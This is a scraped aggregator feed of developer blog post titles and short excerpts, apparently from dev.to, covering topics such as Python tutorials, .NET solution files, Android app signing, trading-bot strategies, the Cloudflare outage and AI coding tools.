    Conceitos como esses inevitavelmente aparecem na vida de quem desenvolve software. No começo, tudo parece confuso — e é normal. Você não precisa entender tudo de uma vez, quase ninguém entende. Mas maturar esses temas ao longo do tempo, sem fugir deles por medo da complexidade, é essencial. Você já se perguntou por que alguns aplicativos travam enquanto carregam algo, enquanto outros continuam funcionando normalmente? Ou por que certos servidores conseguem atender milhares de usuários ao mesmo tempo, enquanto outros ficam lentos com apenas dezenas? A resposta está na forma como o código lida com operações demoradas — e é isso que vamos entender agora. Neste artigo, quero esclarecer esses conceitos de forma direta e prática, para que sua jornada seja mais tranquila desde o início. Antes de …  ( 11 min )
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    CAT6 UTP RJ45 კონექტორი, 2 ცალი - Review
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    Top 10 SEO AI Tools Dominating Search in 2026
    The search landscape has transformed dramatically. Traditional blue-link rankings now compete with AI-generated answers, Google's AI Overviews, and conversational search platforms like ChatGPT and Perplexity. Today's successful SEO strategy requires tools that understand this new reality—platforms that combine traditional optimization with answer engine optimization (AEO) and AI-powered automation. After extensive research into the latest AI SEO solutions, I've compiled this definitive guide to the most powerful tools reshaping search visibility in 2026. These platforms don't just track rankings; they help you dominate AI-powered search results while streamlining your entire optimization workflow. Semrush has evolved beyond traditional SEO into a full-spectrum AI marketing suite. Their fla…  ( 11 min )
    **Evaluación ética y responsable de plataformas de Prevenció
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    Big BOMB! 💣 PWA, Service Worker and Push Notification in WebForms Core 2
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    Dealing with stale closure in React
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    Hey there! 👋🏻 If you've been keeping up with the latest updates in .NET, you might have noticed something interesting in Visual Studio 2022 version 17.13 and .NET 9: a brand new solution file format with the .slnx extension! Let's take a quick look at what this is all about. The .slnx format is Microsoft's fresh take on the solution file. Unlike the traditional .sln files we've been using for ages, this new format uses XML instead of the proprietary format that's been around since forever. The old .sln format has served us well, but let's be honest, it's not exactly the most human-readable thing out there. The .slnx format aims to fix that! Here's the cool part, the .slnx format is much cleaner and easier to read. If you've ever tried to manually edit a .sln file, you know it can be a…  ( 7 min )
    Notion vs Obsidian: Which One Fits Your Workflow?
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    No More Firefighting: Your n8n Workflow Blueprint
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    Understanding All Ways to Reference the Django User Model
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    Hello everyone! Hope you’re all doing well. I’ve been exploring AWS and serverless lately, and I enjoy sharing clear, simple explanations of what I learn. Looking forward to good discussions and connecting with like-minded people here!
    A post by Krisha Arya  ( 6 min )
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    Ringer Movies: ‘Weird Science’ With Bill Simmons and Kyle Brandt | Ringer Movies
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    Mr Sunday Movies: Biggest Disney Bombs: The Sorcerer's Apprentice - Caravan of Garbage
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    I LOVE a good technical challenge. There is something satisfying about solving a complex problem, optimizing a data structure, or shaving off a few milliseconds of latency. But this past summer, I found myself back in the job market, and let me tell you… Things have changed. The industry has split into two distinct realities. On the one hand, I interviewed with established enterprise giants whose processes were like bread and butter to me. I was solving algorithmic puzzles and showcasing my understanding of the DOM and general web development skills. On the other hand, I interviewed with startups where the interviewer essentially handed me the keys to GitHub Copilot and said, "Build this feature. You have 45 minutes. Go." It made me feel a bit like an "old man yelling at the sky," but it a…  ( 9 min )
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    Day 6: If Statements - Teaching Python to Make Decisions - 30 Days of Python Challenge
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    Terminal Resume - ssh.akshaygupta.live
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    The Rust Learning Paradox: Why Beginners Learn Faster
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    The Real Backend Framework for AI: Why Performance Hinges on Silicon, Not Software
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    For the Java lovers!
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    Ringer Movies: ‘Weird Science’ With Bill Simmons and Kyle Brandt | Ringer Movies
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    CinemaSins: Everything Wrong With The Wiz In 15 Minutes Or Less
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    Day 1: My First Python Print Statement - 30 Days of Python Challenge
    Welcome to My Python Journey! Hey there, fellow coding enthusiasts! Today marks the beginning of my exciting 30 Days of Python Challenge, and I'm thrilled to have you join me on this adventure. Whether you're a complete beginner or someone looking to refresh their Python skills, this series is for you! I'll be sharing my daily progress, lessons learned, and code snippets as I work through Python fundamentals. My goal? To make Python accessible, fun, and easy to understand for everyone. print() Today's focus is simple yet powerful: the print statement. Every programming journey starts with a simple "Hello, World!" and today, I'm taking that first step. The print() function is your best friend when starting with Python. It's how your program talks to you! Think of it as Python's way of s…  ( 7 min )
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    Working with JSON data is common in modern development, but minified JSON can be hard to read and debug. Python provides simple built-in tools to format JSON data in a readable way with proper indentation and structure. Pretty printing converts compact, minified JSON into a formatted structure with proper indentation, line breaks, and whitespace. This makes it much easier to understand the data structure, debug issues, and share with team members. Easy Debugging: Quickly identify structural issues and understand data relationships Better Readability: Makes JSON data human-readable for code reviews and documentation API Testing: Analyze API responses more efficiently Configuration Files: Maintain readable config files that are easier to edit The easiest way to pretty print JSON in Python is using json.dumps() with the indent parameter. Example: Pretty Print a JSON String Minified JSON string Parse JSON string to Python object Pretty print with indentation Output: Read from File and Print Read JSON from file Pretty print to console Write Pretty JSON to a File data = { Write formatted JSON to file indent sort_keys ensure_ascii Pretty printing JSON in Python is straightforward with the built-in json module. Use json.dumps() with the indent parameter for formatted output, add sort_keys=True for consistency, and always handle exceptions when reading files. These simple techniques will make working with JSON data much easier in your development workflow. Use indent=4 for readable formatting Add sort_keys=True for consistent output Handle exceptions when reading JSON files Use json.tool for quick command-line formatting Create custom encoders for special data types like datetime Or, you try using jsonformatter gg🚀  ( 7 min )
    Assessing TOON Token Savings in an MCP Server
    I have been wiring TOON support with toon-token-diff into this MCP server to understand whether converting JSON payloads to TOON meaningfully reduces prompt costs. The short answer: TOON is elegant, but in my test harness it delivered microscopic savings for real-world workloads. Project mode: toon-token-diff in libraryMode via npm install toon-token-diff Models monitored: openai (tiktoken GPT-5 profile) and claude Integration strategy: lightweight instrumentation that appends token stats into a JSONL ledger for later analysis import { estimateAndLog } from "toon-token-diff/libraryMode"; // inside my MCP tool handler estimateAndLog(JSON.stringify(result), { models: ["openai", "claude"], file: "./token-logs.jsonl", format: "json", label: "mcp_tool_call", }); This snippet r…  ( 7 min )
    Why RAG and Agent Systems Are Unstable — A Minimal Deterministic Planner POC
    RAG and Agent frameworks promise a lot: But if you’ve actually tried deploying them into finance, legal, compliance, operations, or automation, you’ve probably noticed the same thing I did: They’re structurally unstable. This is not a hallucination issue. Let’s break it down. 🧩 1. Retrieval is inherently non-deterministic ANN (HNSW/IVF/ScaNN) is approximate. index rebuilds change the top-k embedding drift changes neighbors adding documents shifts similarity space internal randomness changes ranking If the retrieval set changes, 🧩 2. Context construction is unstable LLMs don’t treat all chunks equally. They’re sensitive to: order of chunks length differences truncation behavior position in the prompt subtle formatting shifts Same chunks ≠ same output. 🧩 3. LLM planners amplify randomness…  ( 7 min )
    Most Automation Isn't Really Automation
    Most “Automation” Isn’t Really Automation A practical look from a developer’s perspective Developers see it every day. A spreadsheet macro. A Python script on someone’s laptop. A cron job gluing two APIs. An AI tool used for a quick repetitive task. Every team has these microautomations lying around. Useful, yes. Scalable, no. If you want the long-form writeup that inspired this, it’s here: https://liteed.com/blog/automation-approach. Microautomation shows up as: scripts exports macros tiny AI helpers scheduled tasks They reduce friction but fail the moment you need: documentation monitoring handoff between people consistent behavior scaling across teams This helps the individual, not the organization. AI looks powerful, but in practice behaves like upgraded macros: great…  ( 7 min )
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    The TDD + AI Revolution: How Systematic Refactoring Beats the "Move Fast and Break Things" Mentality v.j.k. ・ Jun 23 #ai #tdd #cursor #development  ( 6 min )
    Akuna OA — “Not Hard, Just Don’t Mess Up
    Just wrapped up the 11.18 Akuna OA, and the feedback was surprisingly consistent: “The questions look easy… but one messy implementation and you’re done.” Akuna doesn’t reward clever tricks — it rewards clean logic + zero-bug code under pressure. Below is a beginner-friendly, stable-pass breakdown of all three problems. If you’re prepping for Quant / Trading / Strategy, feel free to copy and practice directly. Task: Given a string s and an integer k, return the shortest substring containing at least k occurrences of 'I'. If multiple substrings have the same length, pick the lexicographically smallest one. This problem looks like it needs sliding window, but honestly the safest OA solution is much simpler: Loop i through every starting index. From i, expand j forward until the substri…  ( 7 min )
    Sign Android apps using 1Password
    German is also available: https://dev.to/devtronic/android-apps-mithilfe-von-1password-signiere-472o Android developers know: If you want to upload an app to the Google Play Store, the app bundle or APK must be signed with a key. As an individual developer, the process is relatively straightforward: Create a Java Key Store (JKS) Add a signing key to the JKS Create a key.properties file containing details such as the key alias and password Use this to sign the app From a security perspective, neither the JKS nor the properties file should be committed to a VCS. This introduces several challenges: I need to ensure the JKS is stored in a secure location to avoid loss. When working in a team, every developer must store the JKS and properties file locally. If a new key is added to the JKS, all …  ( 8 min )
    WaaS Is the New API: Why Wallet-as-a-Service Is Quietly Reshaping Web3 Onboarding 🔐
    If the last cycle taught Web3 anything, it’s this: nobody wants to manage private keys - not users, not businesses, not even engineers who pretend they enjoy it. WaaS takes the messiest part of Web3 - key storage, recovery flows, compliance, multi-chain support - and turns it into something businesses already understand: an API call. Modern WaaS systems rely on three pillars: 1️⃣ MPC (Multi-Party Computation) 2️⃣ Account Abstraction (AA) 3️⃣ Enterprise KMS + compliance rails Fintech apps, neobanks, trading terminals, gaming studios, and loyalty platforms are all adopting WaaS for one reason: They want Web3 features without building a crypto team of 20 engineers. WaaS lets companies integrate: On-chain payments Loyalty tokens Digital identities Trading features Multi-asset custody …with UX that feels like Web2, not Web3 from 2017. Even exchanges are evolving. Let’s be honest: users, revenue, and regulatory clarity — not a devops nightmare where one lost seed phrase becomes a million-dollar problem. WaaS gives them battle-tested infra, compliant rails, and UX users don’t rage-quit. It replaces Web3 chaos with something CFO-friendly. Wallet-as-a-Service isn’t just another crypto trend. When onboarding becomes a one-click experience, Web3 adoption stops being a dream - and starts becoming a default.  ( 7 min )
    How to Turn Notes Into a Presentation Using AI (Complete Guide)
    Turning raw notes into a polished, professional presentation can feel overwhelming — especially when you’re dealing with messy bullet points, long paragraphs, or scattered ideas. The good news? AI tools now make it possible to convert notes into a ready-to-use presentation in minutes, without needing any design skills. In this blog, you’ll learn exactly how to turn your notes into a presentation using AI, the best tools for the job, why AI slide generators are becoming essential, and how MagicSlides makes the whole process even easier. AI presentation tools are designed to read your notes, understand the structure, and generate slides with proper layout, visuals, and flow. Saves hours of manual work Creates structured slides instantly Fixes formatting issues automatically Generates d…  ( 8 min )
    GPU-Powered Networking: The Future of Blazing-Fast Model Training by Arvind Sundararajan
    GPU-Powered Networking: The Future of Blazing-Fast Model Training \Are you tired of sluggish performance when training massive models across multiple GPUs? Do you dream of a world where data flows seamlessly between GPUs without CPU bottlenecks? Imagine a Formula 1 race where the CPU is the pit crew, slowing down the car. That is now over! Introducing a revolutionary approach: GPU-initiated networking. This paradigm shift allows GPUs to directly manage communication with each other, bypassing the traditional CPU-mediated model. This reduces latency and overhead, significantly accelerating distributed training. We now have a high-speed highway for data, giving the GPU all control of the car to reach a higher max speed. Traditionally, the CPU acts as the traffic controller, orchestrating …  ( 7 min )
    Installing & Working with Python - in Ubuntu 24.04
    This approach is based on my personal experience, and is one of many approaches you'll find online. Go to the Anaconda website and download the shell script (.sh file) of Miniconda. Create a folder say myfolder at your suitable location. mkdir myfolder cd myfolder Paste the miniconda.sh file inside this folder (optional, but I did for convenience) bash ~/miniconda.sh # follow interactive prompts: # - accept license (yes) # - choose install location (default: ~/miniconda3) OK # - at the end it asks to initialize shell; say "yes" (or you can init manually later) After install, either restart terminal or source the shell rc: # restart terminal or source ~/.bashrc Stop auto-activation of base (recommended) : conda config --set auto_activate_base false Now base will not activate automati…  ( 8 min )
    Android Apps mithilfe von 1Password signieren
    (Zuerst erschienen auf: https://www.linkedin.com/pulse/android-apps-mithilfe-von-1password-signieren-julian-finkler-erlce) Android Entwickler wissen: Wenn man eine App in den Google Play Store hochladen möchte, muss das App Bundle bzw. das APK mit einem Schlüssel signiert sein. Als einzelner Entwickler ist der Prozess relativ trivial: Man legt einen Java Key Store, kurz JKS, an Man legt in diesem JKS einen Schlüssel zum signieren ab. Man legt eine key.properties Datei an, in der die die Details, wie Schlüssel oder das Passwort des Schlüssels stehen. Man signiert die App damit. Aus Sicht der Sicherheit sollten natürlich sowohl der JKS als auch die Properties-Datei nicht in ein VCS eingecheckt werden. Das bringt eine Reihe von Herausforderungen mit sich: Ich muss mich darum kümmern, dass der…  ( 8 min )
    10 Essential Figma Plugins Every Designer Should Know in 2025
    The Figma community is constantly evolving, and so are the plugins that help designers move faster, smarter, and more creatively. 1. Pixlore — AI-powered Design Assistant Pixlore helps designers create and iterate layouts through natural language. Wireframe or Autolayout to refine your generated results. 2. Autolayout Pro AutoLayout dynamically lays out layers in frames and updates the layout when the dimensions of child layers change. It behaves similar to Framer Stacks and the Anima Toolkit for Sketch. 3. Content Reel Manage real text and image content easily across your design system. 4. Iconify Access over 150,000 icons from multiple libraries — Material, Feather, Fluent, and more — all inside Figma. 5. Color Palettes ( Colorsinspo ) : Color & Accessibility Tools Explore and apply curated color sets from Dribbble and Color Hunt. 6. Mockuuups Studio Most Popular Mockup Plugin with 4500+ Device Mockups. 7. Wireframe Speed up the ideation stage by dropping prebuilt wireframe components for common UI patterns. 8. Font Preview Preview, compare, and apply different typefaces in real time. 9. Batch Styler Edit multiple text and color styles at once. 10. FigGPT An AI-powered writing tool for designers, helping you generate microcopy, UX writing, and placeholder text that fits the tone of your brand. 💡 Plugin Combinations Worth Trying Pixlore + Wireframe + Mockuuups Studio → from idea to showcase in under 5 minutes. Autolayout Pro + Batch Styler→ perfect for managing complex design systems. Content Reel + FigGPT → streamline your text and content workflows. Final Thoughts Pixlore are redefining how designers interact with AI and automation inside their design tools.  ( 7 min )
    Why I Built TaskDeck and How It Improves Your VS Code Workflow
    VS Code tasks are powerful, but most developers barely use them. The problem is not the feature itself. It is the workflow. Tasks are hidden behind menus, the command palette, or a tasks.json file that nobody enjoys editing. Running the same commands over and over becomes a small but constant tax on your focus. I built TaskDeck to remove that tax. I wanted a simple way to see all tasks in one place, launch them with one click, and stop jumping between JSON files, menus, and shortcuts. No magic, no reinvention. Just a faster way to work inside VS Code. VS Code Marketplace Repository VS Code tasks are one of the most useful features in the editor. They let you run scripts, build steps, linters, tests, and any command you need with a single entry. They should save time. Instead, most develop…  ( 11 min )
    How I vibe code: Improving my site design with Goose and Gemini 3
    OK this was so much fun: Googles Gemini 3 is amazing. just got it to redesign my home page. I was having fun with this one so no real idea what I wanted just vibing along. It gave me a matrix style hero component which blew me away. This is so cool and the fact that I can spend less than an hour to improve my personal site is insane. I used goose coding agent for this one which is open source and free and I just put my Gemini API key in which I am still using a free trial so my total cost for having fun was zero. Was quite impressed that by giving Goose the link to an image it just downloaded it for me and added it to my public folder of my site. One less tedious task for me to do. Towards the end I had the crazy idea of creating 7 hero component designs that change when you refresh the page. Why? Cause it's cool. This is maybe not how you build production apps but it sure is great for prototyping and getting to learn how new tools work and improving your communication with AI Agents and LLMs. I encourage you all to take time out of your day and play around. Build a personal site even if you never deploy it. Improve your personal site and modify the design just for fun. Have fun cause Gemini 3 is pretty amazing and the tools we have available to us right now is insane. And of course don't forget to run the Playwright healer agent after you have changed your design so your tests are updated. All it takes is a prompt. I didn't show it in this video but check out my other videos on Playwright Agents. Have fun and happy vibe coding Links: https://block.github.io/goose/ https://blog.google/products/gemini/gemini-3/  ( 7 min )
    5 Quick DevEx Audit Wins
    Hey friends! Last summer, we walked through the big picture of The DevEx Audit—a full-scale look at where your team is bleeding time and patience. We talked a lot about the value of good Developer Experience. But sometimes you don’t need a whole audit; you just need a wrench to turn a stuck bolt. Today's post is about those wrenches. We're picking out 5 small, fast moves that teams might overlook: things you can fix in a sprint (or even an afternoon) that will pay you back every single day. None of them are glamorous, but all of them are measurable. And together, they shave hours off lead time, clear away flaky roadblocks, and make the daily flow of work smoother. Let’s pop the hood and run through Blink’s Five Quick DevEx wins! Shorten your CI cycle. Smooth the local setup. Tame the pull…  ( 8 min )
    Earn Big Through Bug Bounties: A Developer’s Guide to Ethical Hacking
    Welcome! If you’re a developer curious about tapping into the world of bug‐bounty programs—where ethical hacking meets real rewards—you’re in the right place. This blog post will guide you through how you (yes, you) can turn your coding and troubleshooting skills into a potential income stream, while doing good by helping platforms and websites become safer. Imagine this: you find a serious flaw in a web platform, you responsibly disclose it, the company thanks you—and pays you. That’s the core idea behind bug-bounty programs. Ethical hacking isn’t just theory—it’s real, paid work. Companies are increasingly crowdsourcing security research because they know they can’t catch every flaw internally. For example, research shows that bug-bounty programs help vendors reduce risk and increase val…  ( 10 min )
    The Developer’s Paradox: Why You Need a Next.js SaaS Starter Kit to Stop Coding and Start Selling
    You have a brilliant idea. It came to you in the shower or during a commute—a SaaS concept that solves a specific pain point, has a clear target audience, and potential for recurring revenue. You rush to your computer, fire up your terminal, and type npx create-next-app. The adrenaline is pumping. You are ready to build the next unicorn. But then, reality hits. Before you can write a single line of logic that makes your app unique, you have to set up authentication. Then you need to configure the database connection. Then comes the Stripe integration, webhook listeners, protected routes, email transaction providers, and responsive dashboard layouts. Three weeks later, you are still debugging a JWT token issue. Your enthusiasm has waned, and your "brilliant idea" is gathering dust in a fold…  ( 11 min )
    Lesson 26: Freqtrade-Custom Strategy Development
    Lesson 26: Custom Strategy Development ⏱ Duration: 2.5 hours 🎯 Learning Objectives: Learn to write your own trading strategies from scratch So far, we've been using pre-made strategies. But true advancement is the ability to develop your own strategies based on your trading ideas. This lesson will teach you: Basic structure of Freqtrade strategies How to implement buy and sell logic How to add and use technical indicators Complete strategy development workflow Practical examples from simple to complex Create user_data/strategies/MyFirstStrategy.py: from freqtrade.strategy import IStrategy from pandas import DataFrame import talib.abstract as ta class MyFirstStrategy(IStrategy): """ My first custom strategy """ # Strategy basic information INTERFACE_VERSION = 3 …  ( 16 min )
    Stop Shipping Muddy Shadows: A Practical, Copy‑Paste Guide to Professional UI Shadows (CSS + Tailwind)
    Most shadows on the web still look like 2015: one heavy blur, too dark, pasted everywhere. Real products need shadows that signal depth without stealing attention, work on light and dark canvases, and don’t tank performance. This guide is the fastest way I know to ship professional, layered shadows in production. It combines a mental model, copy‑paste recipes (CSS + Tailwind), a small token system, and a QA checklist you can use in code reviews today. TL;DR Single shadows rarely read as depth. Use 2–3 layers with decreasing opacity and increasing blur. Typical per‑layer opacity lives between 0.06–0.22. Prefer slightly negative spread on the tightest layer to avoid chalky halos. In dark UI, use larger blur + lower alpha, not “darker shadows”. Don’t animate box-shadow on big surfaces; animat…  ( 9 min )
    GraphBit vs. LangChain, LlamaIndex, Haystack, and similar tools
    1) Performance & Architecture Rust core with Python bindings (PyO3) Advantage: The workflow engine, agent execution, LLM provider integrations, concurrency manager, and resilience primitives are implemented in Rust. This gives lower runtime overhead, real multi-threaded parallelism, and predictable memory usage versus Python-only orchestration layers constrained by the GIL. Memory: The core selectively uses optimized allocators (e.g., jemalloc on Unix) and pre-allocation patterns, reducing allocation churn. Python-facing APIs expose results without pushing heavy orchestration back into Python. Concurrency: GraphBit implements per-node-type concurrency control in Rust with atomic counters and wait queues, enabling high-throughput scheduling without a single global semaphore bottlenec…  ( 9 min )
    Top 6 WordPress Heatmap Plugins to Decode Real User Behavior
    Introduction In today’s competitive landscape, businesses need sharper visibility into how users actually interact with their websites to keep conversions moving in the right direction. Yet many still struggle with unclear click patterns, unnoticed drop-off points, and pages that fail to hold attention, simply because they cannot see what users truly experience. These gaps make decision-making slow and often inaccurate, leading to lost opportunities across product pages, landing pages, and key conversion paths. This is where WordPress Heatmaps step in, offering visual behavioral insights that help businesses refine their website with clarity and confidence. WordPress do offer different heatmap plugins, so that one can know the customer journey and their insights in detail. You will get…  ( 8 min )
    Importancia y Evolución de Java
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    Why Millions Choose Aetna for Health Coverage
    Discover tailored health insurance solutions with Aetna — a name trusted by millions nationwide. From individual and family plans to Medicare and employer coverage, Aetna offers flexible options that prioritise your well-being. With nationwide access to top healthcare providers, personalised support, and affordable plans designed to meet your unique health needs, Aetna is a reliable partner for your health coverage journey. Individual & Family Plans Agents and Brokers Employers Dental Providers Over 16 million members trust Aetna for dependable health coverage and service. Speak with a Certified Aetna Agent Individual & Family Health Plans: Coverage includes preventive care, doctor visits, hospital stays, and prescriptions. Aetna offers reliable, affordable, and flexible health insurance b…  ( 8 min )
    Swift AI: Built-In ML Power for Developers
    In the rapidly evolving world of technology, Artificial Intelligence (AI) and Machine Learning (ML) have become indispensable tools for creating intelligent and intuitive applications. For Apple developers, Swift offers a powerful and integrated ecosystem to harness this potential directly within their apps. Far from being an afterthought, ML capabilities are deeply embedded into Swift and its frameworks, providing developers with robust, performant, and privacy-focused ways to build smart features. This in-depth blog post will explore the core components of Swift AI, highlighting how developers can leverage Apple's built-in ML power to create cutting-edge applications. Apple's approach to ML is characterized by a cohesive ecosystem designed for performance, ease of use, and privacy. This …  ( 13 min )
    Accessibility and Semantics in Under 10 minutes
    I just published a new video in my Fullstack Development series, and this one is important for every frontend developer, Accessibility and Semantic HTML. Most beginners skip this topic, but accessibility is one of the core skills that separates a beginner from a real frontend developer. In this video, I covered: Why accessibility matters How semantic HTML improves user experience Using alt text, aria-labels, and roles Keyboard navigation basics and tabindex attribute A quick Lighthouse accessibility check Small improvements to our resume project If you're learning frontend or polishing your fundamentals, this will help you write cleaner, more readable, and more inclusive HTML. 🎥 Watch the video: https://youtu.be/h7R9dmfIMdU Check out Complete Playlist I’d love to know, what’s one accessibility improvement you’ll add to your next project?  ( 6 min )
    Workflow Automation Tools A Complete Guide to Features Pricing Pros and Cons
    Workflow automation tools have become essential for teams looking to reduce manual work, eliminate recurring errors and build systems that scale without becoming chaotic. With so many platforms available, choosing the right tool can feel overwhelming. Each tool has its own logic, pricing model, strengths and limitations. The goal of this guide is to give you a structured and practical analysis of leading workflow automation tools so you can make a clear and confident decision. This guide covers what workflow automation tools are, the eleven most important tools on the market, what they do, their pros and cons, cost expectations and a final recommendation based on realistic use cases. Workflow automation tools handle tasks that would otherwise require repetitive manual effort. They connect …  ( 15 min )
    🚇 I Built a Mini Metro–Style Multiplayer Game on Rune (And Learned a Lot About Real-Time Sync)
    🎮 The Game Concept The game is basically a cooperative Mini Metro: multiple players share the same transit map and have to keep it running as stations spawn across the city. Anyone can draw new train lines, extend existing ones, delete segments, or reroute an entire area if congestion hits. It starts out peaceful. That mix of clarity and chaos is what makes it fun — and multiplayer turns it into a kind of friendly group puzzle where communication becomes the real mechanic. ⚙️ Why I Expected Multiplayer to Be Hard Real-time syncing is normally the hardest part of a project like this. You’ve got: stations spawning at random positions multiple players editing the same network passengers moving every second timers that need to match on every device reconnects that shouldn’t break everything I…  ( 7 min )
    Inside Cloudflare's November 18, 2025 Outage: A Deep Dive into What Broke the Internet (Temporarily)
    On November 18, 2025, a routine change at Cloudflare, a company that powers about 20% of the web, turned into a nightmare for millions of internet users. Websites ground to a halt, apps failed to load, and error pages popped up like uninvited guests. For over five hours, core parts of the internet felt the ripple effects, from e-commerce sites to developer tools. It wasn't a hacker's plot or a massive cyber assault, as some first feared. Instead, it was a classic case of a small tweak snowballing into chaos due to overlooked limits in the system. In this article, we'll walk through the outage step by step, peering behind the curtain at the tech that failed, why it happened, and what Cloudflare is doing to ensure it doesn't repeat. Drawing from Cloudflare's own detailed postmortem, we'll ke…  ( 10 min )
    Automating Code Quality: Stop Debating Style and Start Coding
    Stop wasting time on code reviews discussing semicolons and spacing. Automate everything with PR CheckMate. Picture this: It's Monday morning. Your team just opened a pull request. Within minutes, review comments start rolling in: "Please add a semicolon here" Sound familiar? 😅 Developers end up spending time on mechanical tasks instead of solving real problems. The review process slows down. People get frustrated. And the worst part? These issues are completely preventable. Consider what happens in a typical day: Developer writes a feature → pushes code Reviewer notices formatting issues → requests changes Developer runs Prettier manually → commits again Reviewer finds a typo in documentation → another round Developer fixes it → push again CI/CD pipeline finally runs ESLint → more failur…  ( 10 min )
    When the Internet Broke: What Really Happened During the Cloudflare Outage
    I was trying to check my Twitter feed (sorry, X), and instead of my usual doom scroll, I got hit with an error message. Then I tried ChatGPT. Error. Spotify? Nope. Even McDonald's self-service kiosks were down. I thought maybe my WiFi was acting up again, but nope—turns out a company called Cloudflare had a pretty bad day, and it took a huge chunk of the internet down with it. Before we get into what went wrong, let me explain what Cloudflare does, because most people have never heard of them, yet they use their services every single day. Think of Cloudflare as the internet's security guard and traffic controller, all rolled into one. When you visit a website, you're not always talking directly to that website's server. Instead, Cloudflare sits in the middle, doing a bunch of important job…  ( 10 min )
    How We Built The First Open-Source Rust Core Agentic AI Framework
    1) Executive Summary Enterprise systems have always been two-layered: Humans make decisions Humans & systems execute them But that model doesn’t scale with today’s complexity. There are too many repetitive, high-value tasks that need to be done, monitored, and adapted continuously. A third layer is emerging: Agentic AI. This layer sits between human intent and system execution: Understands context Breaks tasks into steps Triggers APIs, tools, and workflows Learns from outcomes Operates continuously Yet most frameworks holding up this new middle layer were not built for scale. In fact: 83% of AI teams report stability issues under load with current frameworks. ~29% of long-running workflows fail silently. Top enterprise concerns include cyberse…  ( 11 min )
    Exploring Extension Blocks in .NET 10
    Hey there! 👋🏻 Just used the "Generate Image" function of Dev to generate this cover, and yes, I know it says C 14 rather than C# 14. If you've written C# code before, there's a good chance you've come across extension methods. They've been around since C# 3.0 back in 2007, and they're pretty much everywhere in .NET—especially in LINQ. But with C# 14 and .NET 10, things just got a whole lot more interesting with the introduction of Extension Blocks, or as some folks call it, Extension Everything. So what are extension blocks? Why should you care? And how can you use them to write cleaner, more expressive code? Let's dive in and find out! The code examples in this article require .NET 10 and C# 14, which were officially released on November 11, 2025. If you haven't already installed .N…  ( 14 min )
    Engineering Trust: Understanding Systems Beyond Repairs
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    Building Accessible Themes with Generative AI
    Most default code editor themes don’t work for me. As someone with astigmatism, high-contrast or overly saturated themes strain my eyes. I constantly switched themes, but nothing felt right. It wasn’t just about looks, I needed help creating something that was suited my needs for writing code. Many themes either failed WCAG contrast standards or were uncomfortable to read. Creating a custom theme felt daunting, until I started using gen AI to assist me. Using generative AI, I could describe exactly what I needed: "A dark theme with muted backgrounds and soft contrast for string literals." "All elements must pass WCAG AAA minimum contrast." "Avoid yellows and high-saturation colors." In minutes, I had accessible designs tailored to my needs. I wasn’t just editing and fighting through balanc…  ( 8 min )
    Understanding the All Ordinaries Index: Structure, Purpose, and Market Role
    The All Ordinaries Index, often abbreviated as allords, stands as one of Australia’s longest-established equity benchmarks. It represents a broad overview of the Australian share market, capturing the performance of a large portion of companies listed on the Australian Securities Exchange (ASX). While numerous indices exist within the Australian financial landscape, the allords holds a unique place due to its wide coverage, long history, and consistent methodology. Introduced in 1980, the allords was originally created to offer a broad gauge of national market activity. Unlike more concentrated indices that focus on a select group of major firms, this index tracks hundreds of listed entities, making it one of the most comprehensive indicators of Australian equity movements. Its purpose is …  ( 8 min )
    Antigravity and Gemini3 Coding Test
    Testing AI coding assistants with real-world tasks: ConnectOnion agent framework migration and frontend development Project: github.com/openonion/connectonion I've been coding for 5 hours this morning using Antigravity and Gemini3, and here's my conclusion. First of all, here's my background for your reference: I've been using both Cursor and Claude Code for coding 10 hours per day for 2 years. I've been a machine learning engineer for 7 years, and started writing agents since 2024. ConnectOnion (github.com/openonion/connectonion | docs.connectonion.com) - this agent framework was created by me. I'm a $400 Gemini Ultra user, and also use the Gemini CLI sometimes. And here's my conclusion: Antigravity is better than Cursor - for me, around 20% better. Gemini3 is better than Claude for long-…  ( 8 min )
    STN Hackathon 2025
    STN Hackathon 2025 is an exciting upcoming hackathon going to be held on 6th-7th December 2025. It is a 24 hour hackathon expected to be filled with innovation and tech lovers of Nepal. It is an Open theme full stack challenge open to all developers, designers, ai/ml enthusiasts, innovators and tech lovers. It is organized by IT Skills Training Nepal, Putalisadak. Full details: Here You can join as a team of 4 members maximum or you can go solo if you are feeling confident. Registration closes on 4th December, 2025 and limited seats are available so register now to not miss the chance. Talking about the prizes, the prizes include internship opportunities and even job placement so it is very ideal for students looking to start their career. Prizes include: Participants will also have the chance to connect with tech experts and like minded individuals, receive certificates and gain recognition. Beyond the rewards, the hackathon offers a valuable experience in real-world project development and working under tight deadlines. If you’re passionate about technology and eager to challenge yourself, STN Hackathon 2025 is the perfect opportunity to learn, create and grow. For information of all upcoming hackathons and events you can also join Nepvents, the best event discovery platform for tech students in Nepal.  ( 6 min )
    Server Side Rendering Explained for People Who Have Never Heard of It
    If you have been around modern web development for a while, you have definitely heard the term SSR. It feels like one of those concepts that everyone mentions in conversations about performance and user experience. Yet many beginners find it confusing because there are many related ideas like client side rendering, static generation and hydration. This article will give you a simple understanding of what SSR actually is and why it is used. SSR stands for Server Side Rendering. It means that the server prepares the HTML for a page before sending it to the browser. When the user loads your site, they immediately receive a page that already contains the content. In client side rendering the browser loads an empty shell and then JavaScript builds the content. In SSR the user does not wait for …  ( 8 min )
    🚀 Experience Liftoff: Google Antigravity—The Agent-First IDE Redefining Development
    The age of the simple AI "autocomplete" is over. We've entered the era of the Agent-First IDE, and Google's Antigravity is leading the charge. Launched alongside the powerful Gemini 3 model, Antigravity is not just a souped-up VS Code fork; it's a completely new paradigm where AI agents function as autonomous, accountable teammates, operating across your entire development workflow. For the professional software developer, Antigravity shifts your role from line-by-line implementation to high-level architecture and task delegation. It elevates human judgment by automating the tedious execution, fundamentally changing how fast, and how far, a single engineer can build. Antigravity's biggest differentiator is the shift from an AI assistant that only gives suggestions, to an AI Agent that can …  ( 9 min )
    MVP Agent — AI-powered MVP Blueprints (Gradio + Gemini + MCP)
    The Problem: Turning Ideas into Action is Hard Every founder faces the same painful journey: you have a brilliant startup idea, but translating that vision into a concrete, actionable plan feels overwhelming. You need to research competitors, validate market demand, design architecture, plan features, map user flows, and create a roadmap—all before writing a single line of code. This research and planning phase can take weeks, involve expensive consultants, or result in half-baked specifications that engineers struggle to implement. What if you could compress weeks of work into minutes? MVP Agent is an AI-powered system that transforms a single paragraph describing your startup idea into a complete, production-ready MVP blueprint. It's not just another AI wrapper—it's a sophisticated age…  ( 10 min )
    How to Create Interactive UIs with Animation and Transition Effects in ArkUI
